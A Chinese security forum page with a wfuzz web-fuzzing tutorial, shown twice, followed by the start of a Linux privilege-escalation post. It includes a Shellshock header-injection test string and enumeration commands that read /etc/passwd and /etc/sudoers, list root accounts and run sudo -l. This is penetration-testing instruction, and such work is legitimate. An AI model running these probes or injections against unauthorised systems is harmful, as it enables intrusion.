初识wfuzz

willeson 发表了文章 • 1 个评论 • 87 次浏览 • 2019-07-30 15:25 • 来自相关话题

wfuzz简介:
 
        wfuzz 是一款Python开发的Web安全测试工具
        wfuzz不仅仅是一个web扫描器:
wfuzz能够通过发现并利用网站弱点/漏洞的方式帮助你使网站更加安全。wfuzz的漏洞扫描功能由插件支持。wfuzz是一个完全模块化的框架,这使得即使是Python初学者也能够进行开发和贡献代码。开发一个wfuzz插件是一件非常简单的事,通常只需几分钟。wfuzz提供了简洁的编程语言接口来处理wfuzz或Burpsuite获取到的HTTP请求和响应。这使得你能够在一个良好的上下文环境中进行手工测试或半自动化的测试,而不需要依赖web形式的扫描器。
 
1,wfuzz的基本使用
 
wfuzz的基本使用非常简单,只需要一个目标url和一个字典wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://www.secevery.com/FUZZ





如图中所示wfuzz的输出结果给我们提供了以下信息:ID:测试时的请求序号
Response:HTTP响应码
Lines:响应信息中的行数
Word:响应信息中的字数
Chars:响应信息中的字符数
Payload:当前使用的payload
wfuzz的输出使我们能分析web server 的响应,还可根据获得的HTTP响应信息过滤出我们想要的结果,比如过滤响应码/响应长度等等。
 
2,wfuzz的基础命令
 
   使用-h和--help参数来获取基本帮助信息和详细帮助信息。wfuzz是一个完全的模块化的模式,你可以使用-e<<category>> 
参数查看其中可以使用的模块,例如:





 
3,payload
 
   wfuzz基于一个非常简单的概念:它用一个给定的payload来替换相应的FUZZ关键词的值,我们称FUZZ这样的关键词为占位符,这样更容易理解。一个wfuzz中的payload就是一个输入的源。使用wfuzz -e paylopad







查看wfuzz可以使用的参数。 
#要想得到所有可用的payload列表,可以执行如下命令:wfuzz -e payloads
#关于payloads的更详细的信息可以通过以下命令获取:wfuzz -z help
#上面这个命令还可以使用--slice参数来对输出结果进行过滤:
 
1,指定一个payload
每个FUZZ占位符都必须为它指定相应的payload。指定一个payload时有几种方法:
命令比较长的方式是显式的定义payload的参数:$ wfuzz -z file --zP fn=/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ
另一个不太长的方式是只提供payload所需的默认参数:$ wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ
最后,短的方式是使用别名:$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt [url=http://xxxx.com/FUZZ我一般都使用最后一种。]http://xxxx.com/FUZZ[/url]我一般都使用最后一种
 
2,指定多个payload使用-w 或者-z 可以指定多个参数,这时相应的占位符应设置为FUZZ,FUZ1Z,FUZ2Z··········FUZnZ,下面的例子是我们同时爆破目录,文件,和后缀。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt --hc 404 http://xxxx.com/FUZZ/FUZ2ZFUZ3Z 




 
4,过滤器
 
   对wfuzz的结果时行过滤是非常重要的:
非常大的字典文件可以生成非常庞大的输出,并且把我们想要的结果淹没对HTTP响应的一些分类在实际攻击时是非常重要的,例如,为了查检一个SQLi的漏洞是否存在,我们必须能够将合理的响应和错误/不同的响应区分开。wfuzz可根据HTTP响应码和收到的响应的长度(字数,字符数或行数)来过滤。还可以用正则表达式。
 
过滤的方法有两种:隐藏或显示符合过滤条件的结果。
1,隐藏响应结果:
通过--hc  --hl  --hw  --hh 可以达到隐藏某些结果的目的。
hc是响应码
hl是响应行数
hw是响应字数
hc是响应字符数
 
2,定向显示响应结果
显示响应结果的使用方法跟隐藏时的原理一样,只不过参数变为了:--sc,--sl,--sw,--sh。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 [url=http://192.168.21.151/FUZZ]http://192.168.21.151/FUZZ [/url]




 
会把状态码为404的过滤掉。如果想过滤多个条件的话只需要加多个隐藏条件,中间以逗号隔开。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404,403 [url]http://192.168.21.151/FUZZ[/url]  





用行数,字数,字符数来指定过滤规则,在当HTTP返回码相同的时候比较方便。比如,网站一般会指定一个自定义的错误页面,返回码是200,但实际上起到了一个404页面的作用,我们称之为软404。有的网站在用户访问不存在的文件或者目录时会跳到指定的页面,也给我们带来一些麻烦。
还有有些网站做泛解析策略,这些都能用过滤器解决。
以下面的网站为例。
xxxx.com 是一个使用泛解析策略的网站。wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z http://FUZZ.xxxx.com










下面我们过滤字符数为372。wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z --hc 372 http://FUZZ.xxxx.com





正常扫描。
 
5,使用Baseline
 
   习惯上称Baseline为”基准线“。过滤器可以是某个HTTP响应的引用,这样的引用我们称为Baseline。
之前的使用--hh进行过滤的例子中,还可以使用下面的命令代替:wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hl BBB http://192.168.21.195/FUZZ{notthere}





这里,{ }来指定第一次HTTP请求时用来替换FUZZ占位符的值,其响应将被标记为BBB,并用于过滤条件中。
使用正则表达式过滤:
在命令行中,参数--ss和--hs可以接受正则表达式来对返回的结果时行过滤。
详细例子请参考http://edge-security.blogspot.co.uk/2014/10/scan-for-shellshock-with-wfuzz.html$ wfuzz -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -w cgis.txt http://localhost:8000/FUZZ重要关键词payload
payload为wfuzz生成的用于测试的特定字符串,一般情况下,会替代被测试URL中的FUZZ占位符。
当前版本中的wfuzz中可用payloads列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e payloads
Available payloads:
Name | Summary
------------------------------------------------------------------------------------------------------
guitab | 从可视化的标签栏中读取请求
dirwalk | 递归获得本地某个文件夹中的文件名
file | 获取一个文件当中的每个词
autorize | 获取autorize的测试结果Returns fuzz results' from autororize.
wfuzzp | 从之前保存的wfuzz会话中获取测试结果的URL
ipnet | 获得一个指定网络的IP地址列表
bing | 获得一个使用bing API搜索的URL列表 (需要 api key).
stdin | 获得从标准输入中的条目
list | 获得一个列表中的每一个元素,列表用以 - 符号分格
hexrand | 从一个指定的范围中随机获取一个hex值
range | 获得指定范围内的每一个数值
names | 从一个以 - 分隔的列表中,获取以组合方式生成的所有usernames值
burplog | 从BurpSuite的记录中获得测试结果
permutation | 获得一个在指定charset和length时的字符组合
buffer_overflow | 获得一个包含指定个数个A的字符串.
hexrange | 获得指定范围内的每一个hex值
iprange | 获得指定IP范围内的IP地址列表
burpstate | 从BurpSuite的状态下获得测试结果encoder
encoder的作用是将payload进行编码或加密。
wfuzz的encoder列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e encoders
Available encoders:
Category | Name | Summary
------------------------------------------------------------------------------------------------------------------------
url_safe, url | urlencode | 用`%xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url_safe, url | double urlencode | 用`%25xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url | uri_double_hex | 用`%25xx`的方式将所有字符进行编码
html | html_escape | 将`&`,`<`,`>`转换为HTML安全的字符
html | html_hexadecimal | 用 `&#xx;` 的方式替换所有字符
hashes | base64 | 将给定的字符串中的所有字符进行base64编码
url | doble_nibble_hex | 将所有字符以`%%dd%dd`格式进行编码
db | mssql_char | 将所有字符转换为MsSQL语法的`char(xx)`形式
url | utf8 | 将所有字符以`\u00xx` 格式进行编码
hashes | md5 | 将给定的字符串进行md5加密
default | random_upper | 将字符串中随机字符变为大写
url | first_nibble_hex | 将所有字符以`%%dd?` 格式进行编码
default | hexlify | 每个数据的单个比特转换为两个比特表示的hex表示
url | second_nibble_hex | 将所有字符以`%?%dd` 格式进行编码
url | uri_hex | 将所有字符以`%xx` 格式进行编码
default | none | 不进行任何编码
hashes | sha1 | 将字符串进行sha1加密
url | utf8_binary | 将字符串中的所有字符以 `\uxx` 形式进行编码
url | uri_triple_hex | 将所有字符以`%25%xx%xx` 格式进行编码
url | uri_unicode | 将所有字符以`%u00xx` 格式进行编码
html | html_decimal | 将所有字符以 `&#dd; ` 格式进行编码
db | oracle_char | 将所有字符转换为Oracle语法的`chr(xx)`形式
db | mysql_char | 将所有字符转换为MySQL语法的`char(xx)`形式iterator
wfuzz的iterator提供了针对多个payload的处理方式。
itorators的列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e iterators
Available iterators:
Name | Summary
----------------------------------------------------------------------------------------------
product | 返回输入条目的笛卡尔积
zip | Retns an iterator that aggregates elements from each of the iterables.
chain | Returns an iterator returns elements from the first iterable until it is exhaust
| ed, then proceeds to the next iterable, until all of the iterables are exhausted
| (翻译不好,请自行理解)printer
wfuzz的printers用于控制输出打印。
printers列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e printers
Available printers:
Name | Summary
--------------------------------------------------
raw | `Raw` output format
json | Results in `json` format
csv | `CSV` printer ftw
magictree | Prints results in `magictree` format
html | Prints results in `html` format
(比较好懂,不再翻译)scripts
暂时不知道怎么使用
scripts列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e scripts
Available scripts:
Category | Name | Summary
----------------------------------------------------------------------------------------------------
default, passive | cookies | 查找新的cookies
default, passive | errors | 查找错误信息
passive | grep | HTTP response grep
active | screenshot | 用linux cutycapt tool 进行屏幕抓取
default, active, discovery | links | 解析HTML并查找新的内容
default, active, discovery | wc_extractor | 解析subversion的wc.db文件
default, passive | listing | 查找列目录漏洞
default, passive | title | 解析HTML页面的title
default, active, discovery | robots | 解析robots.txt文件来查找新内容
default, passive | headers | 查找服务器的返回头
default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件
default, active, discovery | svn_extractor | 解析 .svn/entries 文件
active, discovery | backups | 查找已知的备份文件名
default, active, discovery | sitemap | 解析 sitemap.xml 文件内置工具wfencode 工具
这是wfuzz自带的一个加密/解密(编码/反编码)工具,目前支持内建的encoders的加/解密。 ┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -e base64 123456
MTIzNDU2
┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -d base64 MTIzNDU2
123456



















 wfpayload工具
wfpayload是payload生成工具 ┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfpayload -z range,0-10
0
1
2
3
4
5
6
7
8
9
10wxfuzz 工具
这个看源码是一个wxPython化的wfuzz,也就是GUI图形界面的wfuzz。目前需要wxPython最新版本才能使用,但是在ParrotOS和Kali上都无法正常安装成功,问题已在GitHub提交Issue,期待开发者的回复中…wfuzz命令中文帮助
这是wfuzz的主工具,我们平时使用的时候就是用这个。
先来看看帮助文档: ┌─[✗]─[michael@parrot]─[~]
└──╼ $wfuzz --help
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
* *
* Version up to 1.4c coded by: *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com) *
* *
* Version 1.4d to 2.2.9 coded by: *
* Xavier Mendez (xmendez@edge-security.com) *
********************************************************
Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ payload占位符,wfuzz会用指定的payload代替相应的占位符,n代表数字.
FUZZ{baseline_value} FUZZ 会被 baseline_value替换,并将此作为测试过程中第一个请求来测试,可用来作为过滤的一个基础。
Options:
-h/--help : 帮助文档
--help : 高级帮助文档
--version : Wfuzz详细版本信息
-e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表
--recipe <filename> : 从文件中读取参数
--dump-recipe <filename> : 打印当前的参数并保存成文档
--oF <filename> : 将测试结果保存到文件,这些结果可被wfuzz payload 处理
-c : 彩色化输出
-v : 详细输出
-f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer).
-o printer : 输出特定printer的输出结果
--interact : (测试功能) 如果启用,所有的按键将会被捕获,这使得你能够与程序交互
--dry-run : 打印测试结果,而并不发送HTTP请求
--prev : 打印之前的HTTP请求(仅当使用payloads来生成测试结果时使用)
-p addr : 使用代理,格式 ip:port:type. 可设置多个代理,type可取的值为SOCKS4,SOCKS5 or HTTP(默认)
-t N : 指定连接的并发数,默认为10
-s N : 指定请求的间隔时间,默认为0
-R depth : 递归路径探测,depth指定最大递归数量
-L,--follow : 跟随HTTP重定向
-Z : 扫描模式 (连接错误将被忽视).
--req-delay N : 设置发送请求允许的最大时间,默认为 90,单位为秒.
--conn-delay N : 设置连接等待的最大时间,默认为 90,单位为秒.
-A : 是 --script=default -v -c 的简写
--script= : 与 --script=default 等价
--script=<plugins> : 进行脚本扫描, <plugins> 是一个以逗号分开的插件或插件分类列表
--script-help=<plugins> : 显示脚本的帮助
--script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"
-u url : 指定请求的URL
-m iterator : 指定一个处理payloads的迭代器 (默认为product)
-z payload : 为每一个占位符指定一个payload,格式为 name[,parameter][,encoder].
编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1.
还可使用编码各类名,如 url
使用help作为payload来显示payload的详细帮助信息,还可使用--slice进行过滤
--zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面
--slice <filter> : 以指定的表达式过滤payload的信息,必须跟在-z 参数后面
-w wordlist : 指定一个wordlist文件,等同于 -z file,wordlist
-V alltype : 暴力测试所有GET/POST参数,无需指定占位符
-X method : 指定一个发送请求的HTTP方法,如HEAD或FUZZ
-b cookie : 指定请求的cookie参数,可指定多个cookie
-d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1")
-H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER.
--basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)
--sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)
--ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果
--filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline)
--prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目参考:https://www.freebuf.com/column/163553.html
 


  查看全部
wfuzz简介:
 
        wfuzz 是一款Python开发的Web安全测试工具
        wfuzz不仅仅是一个web扫描器:
  • wfuzz能够通过发现并利用网站弱点/漏洞的方式帮助你使网站更加安全。wfuzz的漏洞扫描功能由插件支持。
  • wfuzz是一个完全模块化的框架,这使得即使是Python初学者也能够进行开发和贡献代码。开发一个wfuzz插件是一件非常简单的事,通常只需几分钟。
  • wfuzz提供了简洁的编程语言接口来处理wfuzz或Burpsuite获取到的HTTP请求和响应。这使得你能够在一个良好的上下文环境中进行手工测试或半自动化的测试,而不需要依赖web形式的扫描器。

 
1,wfuzz的基本使用
 
wfuzz的基本使用非常简单,只需要一个目标url和一个字典
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://www.secevery.com/FUZZ

Image.png


如图中所示wfuzz的输出结果给我们提供了以下信息:
ID:测试时的请求序号
Response:HTTP响应码
Lines:响应信息中的行数
Word:响应信息中的字数
Chars:响应信息中的字符数
Payload:当前使用的payload

wfuzz的输出使我们能分析web server 的响应,还可根据获得的HTTP响应信息过滤出我们想要的结果,比如过滤响应码/响应长度等等。
 
2,wfuzz的基础命令
 
   使用-h和--help参数来获取基本帮助信息和详细帮助信息。wfuzz是一个完全的模块化的模式,你可以使用
-e<<category>>
 
参数查看其中可以使用的模块,例如:

Image_[3].png

 
3,payload
 
   wfuzz基于一个非常简单的概念:它用一个给定的payload来替换相应的FUZZ关键词的值,我们称FUZZ这样的关键词为占位符,这样更容易理解。一个wfuzz中的payload就是一个输入的源。使用
wfuzz -e paylopad


Image_[2].png


查看wfuzz可以使用的参数。 
#要想得到所有可用的payload列表,可以执行如下命令:
wfuzz -e payloads

#关于payloads的更详细的信息可以通过以下命令获取:
wfuzz -z help

#上面这个命令还可以使用--slice参数来对输出结果进行过滤:
 
1,指定一个payload
每个FUZZ占位符都必须为它指定相应的payload。指定一个payload时有几种方法:
命令比较长的方式是显式的定义payload的参数:
$ wfuzz -z file --zP fn=/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ

另一个不太长的方式是只提供payload所需的默认参数:
$ wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ

最后,短的方式是使用别名:
$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt [url=http://xxxx.com/FUZZ我一般都使用最后一种。]http://xxxx.com/FUZZ[/url]
我一般都使用最后一种
 
2,指定多个payload使用-w 或者-z 可以指定多个参数,这时相应的占位符应设置为FUZZ,FUZ1Z,FUZ2Z··········FUZnZ,下面的例子是我们同时爆破目录,文件,和后缀。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt --hc 404 http://xxxx.com/FUZZ/FUZ2ZFUZ3Z
 
Image_[4].png

 
4,过滤器
 
   对wfuzz的结果时行过滤是非常重要的:
非常大的字典文件可以生成非常庞大的输出,并且把我们想要的结果淹没对HTTP响应的一些分类在实际攻击时是非常重要的,例如,为了查检一个SQLi的漏洞是否存在,我们必须能够将合理的响应和错误/不同的响应区分开。wfuzz可根据HTTP响应码和收到的响应的长度(字数,字符数或行数)来过滤。还可以用正则表达式。
 
过滤的方法有两种:隐藏或显示符合过滤条件的结果。
1,隐藏响应结果:
通过--hc  --hl  --hw  --hh 可以达到隐藏某些结果的目的。
hc是响应码
hl是响应行数
hw是响应字数
hc是响应字符数
 
2,定向显示响应结果
显示响应结果的使用方法跟隐藏时的原理一样,只不过参数变为了:--sc,--sl,--sw,--sh。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 [url=http://192.168.21.151/FUZZ]http://192.168.21.151/FUZZ [/url]

Image_[5].png

 
会把状态码为404的过滤掉。如果想过滤多个条件的话只需要加多个隐藏条件,中间以逗号隔开。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404,403 [url]http://192.168.21.151/FUZZ[/url]   

Image_[6].png


用行数,字数,字符数来指定过滤规则,在当HTTP返回码相同的时候比较方便。比如,网站一般会指定一个自定义的错误页面,返回码是200,但实际上起到了一个404页面的作用,我们称之为软404。有的网站在用户访问不存在的文件或者目录时会跳到指定的页面,也给我们带来一些麻烦。
还有有些网站做泛解析策略,这些都能用过滤器解决。
以下面的网站为例。
xxxx.com 是一个使用泛解析策略的网站。
wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z http://FUZZ.xxxx.com 





Image_[8].png


下面我们过滤字符数为372。
wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z --hc 372 http://FUZZ.xxxx.com

Image_[9].png


正常扫描。
 
5,使用Baseline
 
   习惯上称Baseline为”基准线“。过滤器可以是某个HTTP响应的引用,这样的引用我们称为Baseline。
之前的使用--hh进行过滤的例子中,还可以使用下面的命令代替:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hl BBB http://192.168.21.195/FUZZ{notthere}

Image_[10].png


这里,{ }来指定第一次HTTP请求时用来替换FUZZ占位符的值,其响应将被标记为BBB,并用于过滤条件中。
使用正则表达式过滤:
在命令行中,参数--ss和--hs可以接受正则表达式来对返回的结果时行过滤。
详细例子请参考http://edge-security.blogspot.co.uk/2014/10/scan-for-shellshock-with-wfuzz.html
$ wfuzz -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -w cgis.txt http://localhost:8000/FUZZ
重要关键词payload
payload为wfuzz生成的用于测试的特定字符串,一般情况下,会替代被测试URL中的FUZZ占位符。
当前版本中的wfuzz中可用payloads列表如下:
    ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e payloads
Available payloads:
Name | Summary
------------------------------------------------------------------------------------------------------
guitab | 从可视化的标签栏中读取请求
dirwalk | 递归获得本地某个文件夹中的文件名
file | 获取一个文件当中的每个词
autorize | 获取autorize的测试结果Returns fuzz results' from autororize.
wfuzzp | 从之前保存的wfuzz会话中获取测试结果的URL
ipnet | 获得一个指定网络的IP地址列表
bing | 获得一个使用bing API搜索的URL列表 (需要 api key).
stdin | 获得从标准输入中的条目
list | 获得一个列表中的每一个元素,列表用以 - 符号分格
hexrand | 从一个指定的范围中随机获取一个hex值
range | 获得指定范围内的每一个数值
names | 从一个以 - 分隔的列表中,获取以组合方式生成的所有usernames值
burplog | 从BurpSuite的记录中获得测试结果
permutation | 获得一个在指定charset和length时的字符组合
buffer_overflow | 获得一个包含指定个数个A的字符串.
hexrange | 获得指定范围内的每一个hex值
iprange | 获得指定IP范围内的IP地址列表
burpstate | 从BurpSuite的状态下获得测试结果
encoder
encoder的作用是将payload进行编码或加密。
wfuzz的encoder列表如下:
    ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e encoders
Available encoders:
Category | Name | Summary
------------------------------------------------------------------------------------------------------------------------
url_safe, url | urlencode | 用`%xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url_safe, url | double urlencode | 用`%25xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url | uri_double_hex | 用`%25xx`的方式将所有字符进行编码
html | html_escape | 将`&`,`<`,`>`转换为HTML安全的字符
html | html_hexadecimal | 用 `&#xx;` 的方式替换所有字符
hashes | base64 | 将给定的字符串中的所有字符进行base64编码
url | doble_nibble_hex | 将所有字符以`%%dd%dd`格式进行编码
db | mssql_char | 将所有字符转换为MsSQL语法的`char(xx)`形式
url | utf8 | 将所有字符以`\u00xx` 格式进行编码
hashes | md5 | 将给定的字符串进行md5加密
default | random_upper | 将字符串中随机字符变为大写
url | first_nibble_hex | 将所有字符以`%%dd?` 格式进行编码
default | hexlify | 每个数据的单个比特转换为两个比特表示的hex表示
url | second_nibble_hex | 将所有字符以`%?%dd` 格式进行编码
url | uri_hex | 将所有字符以`%xx` 格式进行编码
default | none | 不进行任何编码
hashes | sha1 | 将字符串进行sha1加密
url | utf8_binary | 将字符串中的所有字符以 `\uxx` 形式进行编码
url | uri_triple_hex | 将所有字符以`%25%xx%xx` 格式进行编码
url | uri_unicode | 将所有字符以`%u00xx` 格式进行编码
html | html_decimal | 将所有字符以 `&#dd; ` 格式进行编码
db | oracle_char | 将所有字符转换为Oracle语法的`chr(xx)`形式
db | mysql_char | 将所有字符转换为MySQL语法的`char(xx)`形式
iterator
wfuzz的iterator提供了针对多个payload的处理方式。
itorators的列表如下:
    ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e iterators
Available iterators:
Name | Summary
----------------------------------------------------------------------------------------------
product | 返回输入条目的笛卡尔积
zip | Retns an iterator that aggregates elements from each of the iterables.
chain | Returns an iterator returns elements from the first iterable until it is exhaust
| ed, then proceeds to the next iterable, until all of the iterables are exhausted
| (翻译不好,请自行理解)
printer
wfuzz的printers用于控制输出打印。
printers列表如下:
    ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e printers
Available printers:
Name | Summary
--------------------------------------------------
raw | `Raw` output format
json | Results in `json` format
csv | `CSV` printer ftw
magictree | Prints results in `magictree` format
html | Prints results in `html` format
(比较好懂,不再翻译)
scripts
暂时不知道怎么使用
scripts列表如下:
    ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e scripts
Available scripts:
Category | Name | Summary
----------------------------------------------------------------------------------------------------
default, passive | cookies | 查找新的cookies
default, passive | errors | 查找错误信息
passive | grep | HTTP response grep
active | screenshot | 用linux cutycapt tool 进行屏幕抓取
default, active, discovery | links | 解析HTML并查找新的内容
default, active, discovery | wc_extractor | 解析subversion的wc.db文件
default, passive | listing | 查找列目录漏洞
default, passive | title | 解析HTML页面的title
default, active, discovery | robots | 解析robots.txt文件来查找新内容
default, passive | headers | 查找服务器的返回头
default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件
default, active, discovery | svn_extractor | 解析 .svn/entries 文件
active, discovery | backups | 查找已知的备份文件名
default, active, discovery | sitemap | 解析 sitemap.xml 文件
内置工具wfencode 工具
这是wfuzz自带的一个加密/解密(编码/反编码)工具,目前支持内建的encoders的加/解密。
    ┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -e base64 123456
MTIzNDU2
┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -d base64 MTIzNDU2
123456



















 wfpayload工具
wfpayload是payload生成工具
    ┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfpayload -z range,0-10
0
1
2
3
4
5
6
7
8
9
10
wxfuzz 工具
这个看源码是一个wxPython化的wfuzz,也就是GUI图形界面的wfuzz。目前需要wxPython最新版本才能使用,但是在ParrotOS和Kali上都无法正常安装成功,问题已在GitHub提交Issue,期待开发者的回复中…wfuzz命令中文帮助
这是wfuzz的主工具,我们平时使用的时候就是用这个。
先来看看帮助文档:
    ┌─[✗]─[michael@parrot]─[~]
└──╼ $wfuzz --help
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
* *
* Version up to 1.4c coded by: *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com) *
* *
* Version 1.4d to 2.2.9 coded by: *
* Xavier Mendez (xmendez@edge-security.com) *
********************************************************
Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ payload占位符,wfuzz会用指定的payload代替相应的占位符,n代表数字.
FUZZ{baseline_value} FUZZ 会被 baseline_value替换,并将此作为测试过程中第一个请求来测试,可用来作为过滤的一个基础。
Options:
-h/--help : 帮助文档
--help : 高级帮助文档
--version : Wfuzz详细版本信息
-e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表
--recipe <filename> : 从文件中读取参数
--dump-recipe <filename> : 打印当前的参数并保存成文档
--oF <filename> : 将测试结果保存到文件,这些结果可被wfuzz payload 处理
-c : 彩色化输出
-v : 详细输出
-f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer).
-o printer : 输出特定printer的输出结果
--interact : (测试功能) 如果启用,所有的按键将会被捕获,这使得你能够与程序交互
--dry-run : 打印测试结果,而并不发送HTTP请求
--prev : 打印之前的HTTP请求(仅当使用payloads来生成测试结果时使用)
-p addr : 使用代理,格式 ip:port:type. 可设置多个代理,type可取的值为SOCKS4,SOCKS5 or HTTP(默认)
-t N : 指定连接的并发数,默认为10
-s N : 指定请求的间隔时间,默认为0
-R depth : 递归路径探测,depth指定最大递归数量
-L,--follow : 跟随HTTP重定向
-Z : 扫描模式 (连接错误将被忽视).
--req-delay N : 设置发送请求允许的最大时间,默认为 90,单位为秒.
--conn-delay N : 设置连接等待的最大时间,默认为 90,单位为秒.
-A : 是 --script=default -v -c 的简写
--script= : 与 --script=default 等价
--script=<plugins> : 进行脚本扫描, <plugins> 是一个以逗号分开的插件或插件分类列表
--script-help=<plugins> : 显示脚本的帮助
--script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"
-u url : 指定请求的URL
-m iterator : 指定一个处理payloads的迭代器 (默认为product)
-z payload : 为每一个占位符指定一个payload,格式为 name[,parameter][,encoder].
编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1.
还可使用编码各类名,如 url
使用help作为payload来显示payload的详细帮助信息,还可使用--slice进行过滤
--zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面
--slice <filter> : 以指定的表达式过滤payload的信息,必须跟在-z 参数后面
-w wordlist : 指定一个wordlist文件,等同于 -z file,wordlist
-V alltype : 暴力测试所有GET/POST参数,无需指定占位符
-X method : 指定一个发送请求的HTTP方法,如HEAD或FUZZ
-b cookie : 指定请求的cookie参数,可指定多个cookie
-d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1")
-H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER.
--basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)
--sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)
--ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果
--filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline)
--prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目
参考:https://www.freebuf.com/column/163553.html
 


 

Linux提权小结

llpkk 发表了文章 • 1 个评论 • 93 次浏览 • 2019-07-29 22:35 • 来自相关话题

Linux提权
1.信息收集
2.脏牛漏洞提权
3.内核漏洞exp提权
4.SUID提权
 
0x00 基础信息收集
(1):内核,操作系统和设备信息uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
(2)用户和群组cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完
(3)用户和权限信息:whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作(4)环境信息
 env 显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
